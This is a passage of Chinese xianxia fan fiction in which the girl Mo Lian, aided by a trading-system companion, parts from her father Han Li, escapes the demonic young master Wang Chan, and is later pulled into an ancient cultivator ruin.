“多谢爹爹!我很喜欢它。”
墨怜也上道,有些婴儿肥的小脸,露出甜丝丝的笑容,莫名戳中了韩立的心窝,他拳抵唇,清嗓:“你喜欢就好。”
看着墨怜欣喜难掩的稚嫩面孔,他竟有些不忍再说什么泼冷水的话。
“这块玉简,你好好保存,除了我之外,不可再向任何人提起。”
韩立将玉简放到墨怜手中,又给了她一个朴素的储物袋,叮嘱,“以后在外,若是遇到类似的机缘,你能相信的只有自己。”
“我明白了,爹。”墨怜甜甜的笑着,将玉简收入储物袋。
虽然这赠礼不咋样,但胜在心意。
礼尚往来,墨怜也从柜子里拿三个手牵手的木雕,塞到韩立手心,“爹爹,请你收下。”
木雕显然是照着一家三口的模子来雕刻。
两个一大一小的便是象征墨彩环和墨怜,而剩下那个没有面容的男性木雕,是谁,自然不言而喻。
见韩立落在那个还没完工的男小木雕上,墨怜以为他嫌做工粗糙,连忙解释:
“爹爹,我之前是不知道您的面容,要让我改一改吗?我现在能很快雕出来。”
“韩大哥,可别小瞧了怜儿的手艺,她向木匠张学艺小成,雕刻的也像模像样。”
面对来自亲娘的滤镜,墨怜有些汗颜。
其实她只是觉得,除了修炼就是学医,太枯燥了,闲来见木匠张雕的小人惟妙惟肖,她一时手痒,就雕了这么一个小玩意,还是半成品。
至于送礼?
纯粹是出于手工的显得更真切些。
“……嗯,很别致,不用改了,这样就好。”
韩立缓缓地应了声。
有时候模糊,也是一种保护。
掂量了下一家三口的木雕,他唇角勾起淡笑,将其收进储物袋中。
随后他站起身,看向墨彩环,“我有师门命令在身,不能与你们母女多聚——”
“我先走一步了。”
余音未落,房间内所有符禄和阵盘被韩立尽收储物袋,仅是一眨眼,人影消失在街道人群中。
仿佛方才的一切,只是黄粱一梦。
“韩大哥……”
墨彩环眼神失去焦距地望着人流。
整张脸陷入浅灰阴影里,眉眼抹不去郁色,侧对的背影充满了落寞孤寂。
见状,墨怜默默的守护在她身边。
陪她见证,一场异常美丽的火烧云落幕……
4. 路遇追杀
次日清晨。
墨怜结束了打坐修炼,回想起在燕家堡观察到有魔修的踪迹。
魔道大肆入侵已经是板上钉钉的事,七派可能就会扩大收徒,派去正魔战场当血包。
此刻拜入宗门并非上选。
一旦开启战争,就是凡俗界也不是个好去处。
总之,她得远离天南大陆。
“886,查看一下最近商城交易品,有什么可以快速飞行的法器?或者地图?”
【飞行法器有是有,不过目前不是你能消费的起,地图倒是可以交易。】
墨怜选择兑换一张全地图。
好歹之后跑路也有个方向引导,不至于跑去敌占区。
就是价格小贵。
她近日炼制的丹药几乎快清仓了。
除此之外,跑路前墨怜打算给她娘,买一个安全感爆棚的无敌防护罩,一来墨彩环能长久陪伴身侧,二来也是兑换到合适的功法,也能让她修炼,母女俩一起暗戳戳地变强。
墨怜点开交易面板,输入防护罩。
【检索完毕——】
在墨怜期盼的眼神,界面显出一个大大的红色词条:
【您的积分不足!】
墨怜扶额:“好歹让我看一下样子,有个目标吧?”
886调出几个来,上品乃至极品的防护罩,暂时不用考虑。
低品的防护罩不少,可有使用次数,防御能力也不够好。
墨怜不考虑,目光转向中品防护罩。
其中,一面巴掌大的古朴镜子吸引了她的注意力,一看介绍,竟然可以让人躲到镜子的世界里,还可硬抗元婴三击。
一看积分:988点/件。
要知道,她目前交易的丹药,都是在人界能找到药材,丹药功效不如添加了特殊材质的价值高,能兑换的积分不那么可观。
卖得最好的养颜丹,也才5个积分一瓶。
更别提,炼制的丹药分个上中下品质,短时间内,想要集齐积分比较考验运气和实力。
【小怜,你还需要多炼丹,以你的速度和成量,可能……没那么快。】
886说得委婉,但墨怜不死心地试探:“能赊账吗?”
【打咩!卖方不接受赊账,一手交易,拒绝不议价。】
墨怜:“……”
没招了。
她索性看起地图来,目光不由停留在附近的乱星海。
这块地区,以大片海域为主,分为外星海和内星海,几处互为犄角的岛屿与岛屿之间零星分布各种小海岛。
886在一旁科普:
【小怜,乱星海和天南大陆之间鲜少有人在不凭借外物下抵达,据说有位元婴修士飞行了七十年,都没飞出外星海的海域。】
墨怜:真神人了,算那老前辈的毅力可嘉。
如此可见两个地方距离远到多么夸张,要是有个传送阵,来去也自由。
墨怜无奈地叹气,阵法什么的,她还一窍不通。
散修太难了!啥啥都缺,啥啥都要会。
不敢想象她这有挂的,起步也挺穷酸,不过比起那些中途倒下的人,她已算是幸运的那一小撮人。
墨怜不是会被困难打倒的人,定下这面镜子后,她铆足了劲儿,一边采集药材,一边加紧炼丹,为了兑换中品防护罩忙得不可开交。
-
燕家堡外城多了许多红衣护卫驻守,彩旗猎猎,内城更是出动数位筑基修士,若不是到处披红挂彩,兴许会被这突兀的肃穆氛围给震慑。
出门采药回归的墨怜停驻在城门口,不由升起提防。
她背着装满草药的箩筐,面前不断走过结伴而行的修士们。动用神识一扫,只见远处内城城墙上有一位长相阴俊的青年,身着婚服,旁边还立着一位盖红巾的新娘——燕如嫣。
她在两年前入城那段时间见过这位燕家少主一面,从掩月宗回来后,就再也没见其现身在人前。
赴会的这群人是为夺宝而来,墨怜总觉得事情并非表面那么简单。
抽身而退,她换了条路走。
未被阳光照过的街道阴暗处,忽然传来一声难忍痛楚的惨叫:
“呃!”
墨怜当即警觉,披上隐身衣,凭借房屋的遮挡,悄悄看向转角处的方向。
只见两个带着面具身穿乌黑服饰的男子,正朝一个捂着腰腹的中年男子进攻。
对方显然力竭,被一股无形的力量踢飞。
另外一人抛出一颗骷髅鬼火,束缚住他的身体,提浮在半空中。
“老东西,你竟想坏了我们少主的好事,看我不弄死你!”
中年男子呸了一声,“哼,你们这些魔道贼子,妄图屠戮我正道修士,我已传音,燕堡主会为我主持公道,尔等休要猖狂!”
其中一个高个男冷笑,伸出手,掌心冒出一团黢黑泛猩红的魔气。
墨怜目光清晰地捕捉到他的一截食指透着翠绿,有这种特征的,果不其然是来自魔道六宗,更像是鬼灵门的弟子。
而这两个疑似鬼灵门的人,连解释的话也懒得赘述。
在中年男子惊恐的眼神里,被骷髅头贯穿了丹田,全身生机被抽干,皮肤瞬间皲枯瘪缩,气息全无,死不瞑目,没有等来他期待的救兵。
吓人!
墨怜还未见过如此残忍的屠杀现场,不由握紧了拳头,修仙路上远超她想象中的凶险异常。
虽不知是什么邪法,但这种能抽干人生机的攻击手段,让她多了几分人为刀俎我为鱼肉的危机感。
直到那两人离去,墨怜也未褪去隐身衣。
一个时辰后,那两人复返回这边的街巷,观察了一圈,冷声道:“你的感应是不是错了,这边没人。”
“少主大计将成,不可掉以轻心。”
两人性子也颇为谨慎,放开神识再此探查了一遍,甚至人就在墨怜面前晃过。
饶是知晓隐身衣的功效,她还是屏住呼吸,在心里问:
“886,这件隐身衣真的能预防化神修为以下的人?”
这心脏扑通扑通地直跳,像在玩极限版的躲猫猫。多来几次,她的小心脏也受不了这忽上忽下的刺激。
【小怜,你就放一万个心,他们顶多是觉得有点怪异,却啥也发现不了的感觉。】
墨怜:……
罢了,她今晚之前就先跑路吧,但走之前,她要不要告诉她爹呢?
不再多想,往他们离去的相反方向,往街巷遁走。
一路上,房屋门窗紧闭,墨怜越发小心,行至一处台阶时,上方传来某种燃烧空气擦来的破空声,她抬头,瞳孔倒映着一团冒着熊熊火焰的魔气朝她袭来。
咻咻咻,竟是一连三发。
墨怜全身肌肉紧绷,凭借习武的底子,身形灵活地躲开要害。
“哟,有点能耐,一个练气三层也能躲开本少主的一击。”
一道有几分桀骜的男音从高空传来,墨怜目光锁定那道喜服的身影,视线上移,落在对方痞气中带着阴柔的面容上。
筑基中期修为。
墨怜蹙紧眉心,掠过一丝凝重,身上的隐身衣在她飞行时就不再能隐匿身形,好在她出门前
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一个习惯,随时带着面巾,外人只看得见她露在外的一双眉眼。
并未出声,而是召唤出那把翠玉色小剑,护在身前。
【啊啊啊!小怜你快跑,这个家伙是鬼灵门少主王蝉,他会使用一种血灵领域,你被拖进去的话,就会被压制的!】
墨怜当然清楚,境界上差了王蝉一截,谁知道这家族资源堆砌出来的少主会不会有什么厉害的法宝,硬打她会很吃亏。
但她有空间之力的加持。
飞行速度可超越同阶一个境界,也就相当于她的速度与王蝉无异。
墨怜不想暴露医馆的位置,往外城方向飞去。
王蝉本来在追逃跑的黄枫谷小子,谁料半途发现这么个小东西,也在浑水摸鱼,那股追拿不上的怒火,便发泄在她身上。
出乎他的意料,这小家伙也跟那泥鳅一样的小子一样,滑手得很。
他的一击,竟没能灭掉她。
还让她在眼皮子底下逃跑!
冷哼一声,王蝉还是决定追杀墨怜,谁叫这小东西逃的方向,正是那黄枫谷小子也在呢。
她逃,他追。
王蝉放魔火袭击,墨怜放出灵剑,统统劈碎。
一路追逐,不知炸毁了多少建筑物,墨怜再如何灵活,面巾也无可避免地被沾到了魔火,无奈下她只能扔了,可惜了她又少了件家当。
可恶的王蝉,此仇,她狠狠记下了!
就在墨怜暗骂时,王蝉不知是不是耐心耗尽,忽然抬手,周身弥漫血红色雾光。
“他这是追不到我破防了,要开大招了?”
墨怜脑中警铃大作,她正飞行在房屋之间,上空被王蝉垄断,只听他癫狂地大笑:“小东西,我承认你是很能逃,但本少主没那么多耐心,就不陪你玩了!”
“给我去死吧!”
猩红幽暗的血雾犹如来自深渊的巨口,朝墨怜吞噬过来。
墨怜正决定不再压制修为,一对一地战斗,神识感应到有一股力量朝自己飞速接近。
她整个人打了旋儿,被提抱着撞进一个宽阔的胸怀之中。
那丝有点熟悉的木系灵力,让她手中欲要偷袭的匕首停顿了一瞬。
头顶传来一声平淡但不失关心的问侯:“你还能动吗?”
墨怜呆住了,视线定格在他那张平凡清秀的面容上,坚毅的下颌线仍紧绷着,显然大部分注意力都在警惕敌袭。
韩立见她不应声,应战中抽空垂眸一瞧。
印象中奶乎乎小脸上,灰扑扑的,小巧的鼻梁沾染了一点烟灰,发丝凌乱,像是一只受伤的瑟瑟小兽……韩立下意识伸手摸了摸她的头,心中莫名不悦。
这王蝉着实欺人太甚!
被摸头杀的墨怜,感觉变扭:……爹,洗手了没?
董萱儿正用扇子,击散了朝这里蔓延来的血雾,回首见韩立还护着那个不知哪来的外人,不由怒喝:
“韩师兄,你还是晚点再叙旧吧!我这边快顶不住了。”
闻声,墨怜主动跳出韩立的怀抱,紧握着匕首,“我有自保的能力。”
韩立心中仍有几分不放心,但眼下情况危急,他只好召唤武器,言简意赅,“多加小心。”
见底下的三人还打得有来有回,王蝉冷笑一声,好整以暇见他们吃力地对抗他的血灵阵法。
三人斗法自然不是原地打转,他们跑到哪里,血雾像块狗皮膏药一样追来,逃命途中,偶遇一位仁兄用性命证明了城门是条死路。
墨怜见他们实在没处可逃,便对跑在她身侧的韩立说:“我知道哪里可以成功逃走。”
5. 仓促离别
“什么地方?”董萱儿插嘴,折扇在手掌间挽了花儿,娇俏的面容浮现一丝探究又好奇,“城内被护城大阵封锁,难不成你对阵法有所造诣?”
瞧了瞧墨怜的小身板,深觉不符合阵法大师该有的形象。
董萱儿声音幽幽:“韩师兄,你说我们该怎么办。”
听出她对墨怜的不信任,韩立沉思片刻,就听见后方的血雾越发逼近,他挥出几张符,爆炸火花驱散了些许雾气,可依旧是杯水车薪。
“跟我来。”墨怜低语。
这么久没归家,娘必定也按照先前说好的那样,先出了地道在城外汇合。
有她在万界平台兑换了可互相感应的玉佩,只要她输送灵力,不管墨彩环身在何处,都能知道她是否平安。
董萱儿半信半疑,悄悄传音给韩立:
“韩师兄,这小孩跟你是什么关系,能信么?”
不爱透露自身隐私,韩立没回答董萱儿这个刁钻的问题,只回了一句:
“师妹只需记得,我会护着你周全。”
眼下正处于被魔修追捕,性命攸关的紧要关头,韩立也只能抱了一丝微弱的希望,落到还不足十岁的小孩身上。
若墨怜她也不能助他们脱困,那就……他眉目紧蹙,心中已有殊死搏斗也要活下来的决心。
可三人一边逃,王蝉还不知何时让自己手下也纷纷朝他们涌去。
墨怜不想后面追来这么多人。
便掏出一袋硫磺粉和自制的痒痒粉,翻身,面朝天空,用灵力裹住粉末,抛向紧追不舍的王蝉。
韩立眸光流转,深深地看了墨怜尚且稚嫩的侧脸。
“哼,雕虫小技!”王蝉侧身一躲,不屑一顾,“想跑没……”
他话音未落,只得见墨怜嘴角掠过了一道狡黠的笑意。
那半张半合的唇语,似在说:“拜拜咯!”
火灵气点燃了硫磺,天空炸开一道绚丽的蘑菇云,其中一丝浅白粉末,碎散在王蝉周身,遮挡了眼前的视野。
几名靠近的护卫,也被热浪掀翻,甚至炸成碎片。
见手下死伤惨重,王蝉恼怒地挥袖,俯瞰地下的房屋,哪还有三人的踪迹。
“废物!一个个都不中用,连包抄也不会!”
胸肺翻腾着怒火,几乎要吞噬了王蝉的理智,一怒之下震碎了一处楼阁:
“该死小杂种!敢戏弄我?!”
不等他要动身继续追杀,来了两道暗色流光停在他面前,“见过少主大人。”
王蝉怒哼,“你们来得正好,去城外围住他们,就算他们侥幸逃出这个护城阵法,也休想逃出我的包围圈!”
若是墨怜在场,便能认出这两位是暗杀了燕家下属的魔修。
二人作揖,领命飞出城外。
王蝉盯着远方的眼神闪烁着幽邃的暗芒,嘴角勾起势在必得的狞笑。
可没多久,他笑容一僵,肌肤涌来一股难以言喻的骚痒酸麻。
像有千万只蚂蚁在爬,自小在鬼蜮伎俩盛行的鬼灵门长大,他哪里不清楚自己此刻是中了毒。
“呃,可恶!妈了个巴子,痒死老子,嘶。”王蝉一面搔起痒来,一面恨恨地瞪向远方,那眼神恨不得将人千刀万剐。
与此同时,墨怜韩立等人已经来到暗道附近的院子里。
墨怜早就对燕家堡有所观察,以防御著称的护城大阵,范围遍布整座城。除非破解阵眼,那些守城护卫可不是吃素,会乖乖地任由人去破阵。
可阵法有个弊端,只笼罩在地面之上。
墨怜早在出去采药前,就跟墨彩环商量过,打包好行李,如果城中动乱,便通过暗道在城外汇合。
捏住串在手腕的玉佩,她渡了一层灵气,玉佩闪了闪微光。
城外的墨彩环也会能接受到信号,静静等她过来。
韩立和董萱儿见果真有一处隐蔽的隧道,便跟着爬进去。
虽然过程有点像钻狗洞。
墨怜人小,可以直挺挺走进去。
走在最后的韩立则是彻底摧毁了入洞口。
暗道中,董萱儿还劫后余生地感慨:“幸好,咱们运气好,其他修士可就没有我们这般运气了。”
韩立举着手,指尖燃着一小团橙红火焰,作为探亮隧道的指引。
走了一小半会,他忍不住目光飘向在前方的墨怜,对方毛茸茸的小脑瓜,只盘了一个简单的高马尾,系了一根浅蓝色飘带,看上去透出一股未经雕琢的纯真质朴气质。
方才见墨怜竟无师自通地利用硫磺,制造了堪比爆雷符威力,他才有点确信她口中的自保能力。
也不知,是如何成长出这份机灵。
他设想过墨彩环带着她,为了躲避仇家,不得已到燕家堡寻求庇护,一对弱无倚靠的母女是怎样适应一个陌生的环境。
一时间,韩立不知该与墨怜说什么。
身为她的生父,他或许该为她的未来做点打算。
可他对她知之甚少,甚至连她喜欢什么颜色?或是蓝色,又或是别的呢。
墨怜并不知他心中所想,只一边走,一边解释:“这处暗道,是我娘无意间发现的,那天下了好大的雨,虎头哥带我去这家院子里摘果子吃,我娘来找我,就恰好翻出这处隐藏的暗道,当时虎头哥还说要把这当成秘密后花园……”
说到这顿住,墨怜没再说下去。
燕家堡的玩伴中,就虎头哥算是她还过得去的搭子。
也不知,这一离去,还有没有再见的机会。
韩立却接上话,“那你娘可是在城外等你。”
“没错,我娘心细如发,见到城中混乱,早就与我提前说道,就在城外汇面。”
董萱儿走在最前头,挥手道,“前面就是出口了!”
三人一前一后地出去。
墨怜是被韩立架起胳膊,抱出洞口。
身上沾到了灰尘,还被韩立的大手轻重适中地拍了两下。
这便宜爹似乎还有点照顾小孩的经验。
墨怜还没来得及如何感叹,就发觉不对。
娘呢?
不等她细想,大漠苍烟中刮来一阵黄沙,王蝉猖狂的邪笑传至墨怜等人耳中:
“哈哈哈,果然不住本少主的预料,还真给你们逃出阵法了,不过你们依旧也逃不出我的手掌心!”
这人笑的真欠。
墨怜很想跳起来,打他一个爆栗子,整天杀杀杀的,修仙都修成失心疯了。
但很快,墨怜瞳孔一紧。
王蝉打了个响指,两个行踪诡魅的男子带着一个人现身。
“娘?!”
墨怜失声喊。
见墨彩环口不能言,只能用眼神来对视,她只能强压下那份不安,免得自乱阵脚。
韩立神色也紧绷,祭出金蚨子母刃。
担忧的目光掠过墨彩环苍白的脸颊。
只暗道,魔修挟持人质,一场恶战再所难免,只是墨姑娘她……
墨怜抿紧唇,心中盘算着怎样安全地护住墨
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彩环。
便对886暗道:“哎,要是我再买个隐身衣就好了,你说还有没有别的方法救人啊?”
【这……小怜,目前积分也不够,我们还是小心为妙。】
墨怜听得出886话中有话,只是不想她为一个凡人破例一次保命手段。
但这一世,她想牢牢抓在手心的亲情,无论如何,也不想放下。
“886你想想,如果我救不了我娘,以后是不是就会成为我的心魔?要是不能在修仙路上走下去,我还怎么获得功德积分?886你又怎么在交易平台上赚取外快呢。”
886思路有些卡顿。
【……只许这一次,以后你可要还我啊!】
“这个凡女竟是你的生母?呵,也好,本少主就赐你们恩荣,让你们母女两人一起化为血灵大法的养料。”王蝉话语一顿,扬起眉梢,“当然,还有你们两个黄枫谷家伙。”
“休想!”
墨怜祭出玉剑,数道凌冽剑芒,冲向空中的王蝉,“看剑——”
【传送距离计算中,50米,35米,20米!】
韩立不由动容,也暗气墨怜如此冲动,忙不迭为她清扫袭来的攻击。
“这小孩也太乱来了!”董萱儿嘴上抱怨,手中却指挥扇子击散墨怜身侧四处飘来飘去的魔气,“炼气几层的修为敢跟筑基硬碰硬,尽给我们添乱。”
【传送距离已至16米……】
墨彩环微张双眸,天地之间,她只看得见怜儿小小的身影孤注一掷地奔向她。
那只伸向她的小手,今日早晨,她还抓着这双小手,仔仔细细地涂上一层茉莉花味香膏。
她们约定要一起出发,去一个不被打扰的他乡。
可如今,却只能眼睁睁看着怜儿为她陷入险境……
墨彩环心中一痛,尝试挣脱缚着她的魔气,却依旧是毫无变化。
一股无力感如潮水般掩盖了她。
凡人,果然蝼蚁就是蝼蚁,任凭如何挣扎,也翻不出一抹浪花……
“娘拉住我的手!”
在众人震惊的目光中,仅有十米距离时,墨怜直接闪现在墨彩环身侧。
又以两位魔修猝不及防地伴随一道爆炸声,被卷入凭空开拓的空间裂缝夹流层。
待余烟散去,两名魔修被空间乱流重伤,脱力地摔在黄沙上,失去了行动能力。
“人呢?”
王蝉心中错愕,眨眼间他就折损了两名手下,他们都是筑后修为,这么轻易就被打趴,他自觉颜面掉落一地。。
见情势有了转机,韩立果断拉着董萱儿坐上神行舟,快速甩开与王蝉的距离。
离开前夕,也不忘扔出一堆爆雷符抛向王蝉。
后者有些忌惮地躲闪,生怕这家伙会使方才那诡异的爆炸,嘴上骂骂咧咧:
“该死的,老子今天吃了多少爆炸的符灰了!”
“啊啊啊!狡猾的小子!我王蝉发誓必要吸干他的修为啊——”
数个时辰后。
韩立见王蝉没追上来,才原地打坐调息,身旁的董萱儿来护法盯梢。
黄昏一轮落日渐渐下沉,韩立闭上眸,脑海挥之不去的是墨怜和墨彩环一齐消失的画面。
她们是生……还是死?
他攥紧拳头,若他实力够强,这一切便不会发生。到底他不是个会沉溺过去、悲春伤秋的人,所有的不甘,只会化为他变强的前进动力。
可此仇,他韩立日后必会向王蝉讨还一个交代!
6. 古修士遗迹(一)
越国,京都。
自从利用空间传送来到此处,墨彩环母女与韩立分别已有两年。
这期间,墨怜不是大量炼丹,就是打坐修炼。
从万界交易平台上,兑换了中品防护罩和隐身衣,送给正行医治病的墨彩环,见她神色郁郁,母女连心,墨怜怎又不知桎梏住她的心结。
当夜点灯长谈,墨怜只说了一句:“长生路漫漫,这一路风景,一个人看太孤独,太寂寞了。”
余的话,她也不多说。在万界平台上,她不止可以兑换本土世界的物资,也可连通他方世界,所谓功法不过是得靠功德积分来兑换罢了。
墨彩环点头,紧紧搂抱着墨怜,不经意回想起十六那年的一个梦。
行医救人本身就有功德,只是缺少一个香火媒介。
京都人烟稠密,墨怜带着墨彩环,让她救下一个濒临死亡的老妪,凭借的是凡人难以活得的归元丹,什么疑难杂症不过挥手可祛除。
墨怜留下一个雕刻墨彩环面容的木雕,留在老妪床前,还有一个留音珠。
一段时日后,京中底层百姓里便兴起一股木雕娘娘祭拜浪潮,数位得到墨彩环和墨怜救治的人转化为忠实的信徒。
香火如徐徐升起的朝阳,墨怜看到墨彩环能够修炼的希望。
【好啦,已经收集到100点功德积分了!】
墨怜听着886在脑海里放鞭炮的欢快声,稍稍松了口气,立马兑换了一个可以功德修炼的心法。
得到这份心法的墨彩环,每日随着墨怜这半吊子的师傅,教导着如何引气入体,与灵根为容器不同,墨彩环吸纳的乃是凡人对她的信仰香火,但仍需要一个储存媒介。
墨怜便兑换了一个可储存能量的灵珠,暂时植入丹田内,遇到敌袭,墨彩环也有回击自保的手段。
随后,又学了《洞明心诀》,她对身法有了新的领悟,不仅锻炼神识强度,对预判对手出招也极有优势。
-
在京城之中,墨怜发现有不少炼气修士,但都是低阶,而且每过一段时间,就会有那么一两个人因走夜路,而消失匿迹。
因此,墨怜也压制修为,又兑换了可隐匿气息的任谁也看不出她是修士。
修为一上来,她炼丹品质上升,也开始着手画符。
一开始,她只能说是鬼画符,一画毁一张,靠着韩立给的一点家当,她失败了十来次,才勉强画出一张合格的符箓。
这一天,连着三天画符炼丹的墨怜,终于想起劳逸结合。
见厢房里的禁制未解,墨怜也就不打扰还在修炼的墨彩环。
走在外边街巷,邻居还有意无意打听婚事,她才不过十岁,已有人想结娃娃亲,但都被墨彩环果断拒绝,以女儿还年幼搪塞来者。
“哎呦,这不是严家姑娘,又出来采药啊?”
墨怜边走,边简单地打了声招呼。
邻居见她态度疏远,扭头跟相熟的婆婶们,七嘴八舌不知又聊起谁谁家的八卦,忙着手头的活计。
墨怜自不会放在心上,这一路看看街边吆喝的商贩,起初还觉得新鲜,看到现在,她不怎么稀奇了。
顺手买了十串糖葫芦,街头追逐打闹的小孩,见了她,也嘻嘻哈哈围上来:“严小怜,我们今天去哪里玩呀?”
修为在半月前,稳固到筑基后期,墨怜就四处走串,这条街的小孩她都玩熟了。
“喏,说说今天有什么有趣的事。”
随后,墨怜分给他们一人一根糖葫芦,就听一个住在富贵人家附近的小孩说:“还真有,听说我隔壁李员外有个会放火球的老头,可被稀罕了,每天都有人上门求他做法。”
“放火球?好厉害的样子,他不会是修士吧?”
“跟神仙一样……”
“有木雕娘娘厉害吗?”
“当然是救苦救难的木雕娘娘厉害了!”
墨怜静静听着,小孩子的注意很快就偏向别处,一会说聚香楼的饭菜多香,一会又说起郊外有什么好吃的野果,这时来了一只野狗,也会追上去想摸一摸。
看着他们淡入乌泱泱人群里,墨怜拍了拍手,走到一处卖糖人的老人这边,让他捏一一对猫狗,就在这时,一个南疆服饰的胖青年,追着一只鸡乱窜。
不小心撞上撒水的老大娘,惹得鸡飞狗跳,两人吵吵嚷嚷,街边行人指指点点地看热闹。
空气散开一丝微弱的灵力波动。
墨怜暗忖,还是个筑基散修,如此服饰自然不可能来自修门派。
她略扫过一眼,后头又跟来三个模样古怪,口音稀奇的老头。
他们四人似乎一点也不怕暴露修士身份,当众用起隔音罩了,可惜,隔音罩对高出他们境界的修士来说,偷听几乎没难度。
嘀嘀咕咕讲了修士难抓,他们散修不容易之类的。
墨怜垂眸,若有所思。
对凡俗界,修士们约定俗成,不可斗法,但……想起燕家堡被魔道渗透,这越国处于正魔两道的交界处,难保这杀疯了的魔道也会撕破了这表面协定。
这天南大陆还真是多灾多难。
越国只能是暂时的立足点。
如此一想,她也没了闲逛的心思,筑后实力还不够看,这附近指不定有金丹或元婴老祖存在,在修士惶然的环境里,她依旧隐匿身形,穿梭于人间。
拿出在万界平台兑换的一个罗盘,可追踪附近的修炼资源,比如某坐化大能的洞府,暂时未被发现的秘境碎片之类。
罗盘随着注入的灵力,缓缓升起一个虚化的指针,抖动了几下,指向东南方向。
她的修炼速度不慢,但就是缺合适的灵药,相比于画符,炼丹更划算,能在万界平台兑换更好的功法和法器,修士最需要就是实用耐打的法宝。
东南方向显示的是一处原野。
苍然老树扎根于小山包,绿荫下生长一簇又一簇的紫白小花,树根十来步处,有一块天然雕刻的扁平长石,青苔蔓延边角,任谁瞧,也不过是一个可供休憩的坐处。
墨怜体内有世界树苗,天然就对秘境碎片有着超越常人的特殊感应,在老树根部有一处难以察觉的空间波动。
像是陈年老旧的木门上那一串生锈的铁锁,因风动而发出嘎吱声响。
她手中掐诀,运行土遁诀,一个眨眼,人已经在通过树根来扯一处,眼前景象也变得别有洞天。
幻若星辰的天穹,晦暗光线里地上大片生长着荧光蓝的灵植,周遭寂静,墨怜脚踩在中央光滑如水面的路道,一圈涟漪自脚底漫开。
但,静谧被打破。
倏忽间,一道烙红的咒文凭空从上空倒映,灼热的气流几乎要点燃空间内所有的生物。
“吼——”
腾身半空跳跃,墨怜躲开突然喷出的一个火球。
踩在凭借灵力凝聚的一道光屏。
借力跃空,她召出一把匕首,斩落了火球,任它化在地下,与那镜面之地融为一体。
“886,检测一下是否有生命活动迹象!”
【小怜,它在右上空。】
墨怜抬首,视线锁定了虚空某一处凝聚的火球,“就在这里,还会隐身……”
不简单,会隐身,想要打击到它,只有在它出招的那一瞬,感应到它的存在。
墨怜不再犹豫,祭出一道水球,又加厚一层爆雷符。
朝那处狠狠一丢。
火球与水球相撞,紧随挑动的雷电,全部在瞬息间湮灭。
散开的冲击余波震出那怪物的身形——竟是一条浑身赤红的龙,正向墨怜咆哮出声。
五行之中水火相克,墨怜有水火灵根相持,对战这条火龙,并不算吃力。
只是原以为火龙只会喷火,可能见自己的火球不管用,它大张嘴巴,舌头像一条千兆度的火线,快如闪电。
一个横扫过来,墨怜闪动身形,才没被熔断成灰。
“这家伙能隐身,口吐火球,还能使用火线,用于偷袭倒是好手。”
墨怜有点想收为灵宠,便没下死手。
她甩出能耐高温的鬼蛛丝,将火龙盘成一个火球,任它震吼空间,乱喷火焰,也无法挣脱束缚。
“嘿,别挣扎了,到了我的手里,乖乖做事,不会亏待你的。”墨怜拿出灵兽袋,与火龙进行了一番友好交流,成功结契,乖顺的躺进袋中。
886适时道:【小怜,这条火龙有古龙血脉,以它的火属性,若能吞噬异火,或许能够进阶成神兽。】
“那敢情好。”墨怜一挥手,将满地的荧光草全收进储物袋,“这些是什么灵植?”
【萦魂草,可蕴养神魂,小怜你可捡到宝了,萦魂草生长条件苛刻,不能见阳光,品形又与寻常野草无异,只有在要开花期间才会发光,因此几乎很少有人知道萦魂草的存在。】
“这么说,我还挺走运的。”
墨怜掏出一株萦魂草细细端详,只觉神清气爽,这散发的气味就有点蕴养神魂的作用。
在这险象环生又机遇并存的修仙世界,有许多防不胜防的未知数,若是不小心被毁去了□□,只要神魂不灭,有这萦魂草和886在,她在这里也有生存的底牌。
继续向前走,不过墨怜更小心。
她用神识探向远方,只见传过一片灰白雾霭后,是一处颇高的台阶,大约有十几丈高,在台灯一个被红光罩包裹的神秘物件。
方才被她收服的火球,或许是被秘境主人留下镇守宝物的守护兽。
墨怜飞身,化为一道绚彩流光没入灰雾之中。
只见她还未有任何动作,台顶中央的神秘宝物,像是被触发了某种禁制,那些看似无害的灰雾仿若得到生命似的,如台风一样卷起云团,旋转,一股可怕的虹吸效应生成!
“靠!这怎么回事,886?”墨怜被打得措手不及,连忙问。
【不好,是空间扭曲出来的传送漩涡,你离得太近了……】
墨怜急忙激活防护罩,还好,她早就从万界平台兑换,此刻真是有备无患,防护罩可硬抗空间乱流,至少能抵御一些不必要的伤害。
幸好她没有把物资全放身上的习惯
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,娘那边还留了一些东西,但愿她没那么倒霉……墨怜昏迷过去的最后念头。
灰雾收缩,在庞大的漩涡面前,她的身躯渺小得像一粒尘埃,不可抵抗地被吸入其中,而灰雾也逐渐恢复平静。
台顶的红色光罩亮度微不可见的减弱了几分。
……
古修士遗迹。
手持的花篮怪人正在打坐修炼,他奉极阴岛之命,在此地镇守一个恶鬼已有数年。
在这几百年的光阴里,花篮怪人对战过不少前来寻宝的修士,就在一个时辰前,陨落在他手中的修士,正七零八乱的躺尸在岛屿各处。
他使用法术,将这些倒霉鬼化作花儿的养料。见花儿开得更艳丽,他布满皱纹的脸庞多了淡笑。
“扑通!”
花篮怪人紧绷着脸色,看向凭空掉落在岛屿上的半大女童。
“嘶……”墨怜感觉身体像被电流击中的酸痛,睁开眼,一张打扮古怪的老头占据她的视野,手里握着像是花篮一样的法器,她抿紧唇,“你是谁?”
说话的同时,她暗中蓄力,尽力吸收周身的灵气。
花篮怪人冷呵呵反问:“毛也没长齐的小丫头,也是来遗迹寻宝的?”
寻宝?
她记得被自己意外被灰雾传送,那么这里又是哪里?
【乱星海啦,不过这个地方是所谓的古修士遗迹,在你之前,就死了不少修士了。】
听完886的话,墨怜心弦紧绷,眼前的老人实力似乎有金丹期的实力,自己筑后的修为,贸然应付勉强也吃力。
不若先委以虚蛇,先套出些有用的话来。
墨怜露出恰到好处的迷茫和恐惧,“这位老爷爷,这里能寻宝?我什么也不知道,只记得在家族的秘境中闯荡,不知触碰了什么机关,就掉落在此地,我双亲定然是焦急不行,他们可是元婴大佬,一定会派人找到我的。”
家族,秘境,元婴几个关键词一出,花篮怪人眸底多了层忌惮。
见这女娃娃年岁不大,却有筑后修为,她双亲有元婴实力,倒也不假,有这等实力的家族,能拿出修炼资源供后辈使用,看来还不能轻易对付。
花篮怪人冷声:“既是意外流落此地,但此岛规矩在前,无论去留,须得与老夫一战。”
“你确定?”
墨怜自己单枪匹马,自然没啥胜算,可她有灵宠了啊!
“嗯?你不敢,那就别怪老夫了。”花篮怪人虽忌惮她那元婴双亲,可自己隶属极阴岛势力,自家极阴老祖坐镇,此岛必安然无恙。
墨怜也不多废话。
解放灵宠袋中的火龙前,她已用神识探查过,火龙被困在袋中,早就憋了一团怒火。
